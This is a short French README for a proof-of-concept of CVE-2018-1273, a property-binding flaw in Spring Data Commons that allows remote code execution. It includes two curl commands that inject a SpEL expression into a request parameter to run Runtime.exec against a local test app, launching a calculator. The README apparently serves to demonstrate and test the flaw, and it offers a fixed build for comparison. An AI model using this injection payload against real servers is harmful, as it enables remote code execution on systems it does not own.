
POC pour CVE-2018-1273
Spring Data Commons, versions antérieures à 1.13 jusqu'à 1.13.10, 2.0 jusqu'à 2.0.5, et versions plus anciennes non prises en charge, contiennent une vulnérabilité de liaison de propriétés causée par une neutralisation incorrecte d'éléments spéciaux. Un utilisateur distant non authentifié (ou attaquant) peut fournir des paramètres de requête spécialement conçus contre les ressources HTTP soutenues par Spring Data REST ou utiliser la liaison de charge utile basée sur les projections de Spring Data, ce qui peut conduire à une exécution de code à distance.
Plus d'informations ici
L'application peut être testée avec la version vulnérable ou la version corrigée de Spring Data Commons.
mvn spring-boot:run
mvn spring-boot:run -Dfixed
Exécutez la commande suivante pour vérifier si la vulnérabilité peut être exploitée :
curl -X POST http://localhost:8080/account -d "name[#this.getClass().forName('java.lang.Runtime').getRuntime().exec('calc.exe')]=123"
curl -X POST http://localhost:8080/account -d "name[#this.getClass().forName('java.lang.Runtime').getRuntime().exec('/Applications/Calculator.app/Contents/MacOS/Calculator')]=test"
Créé par https://www.arima.eu
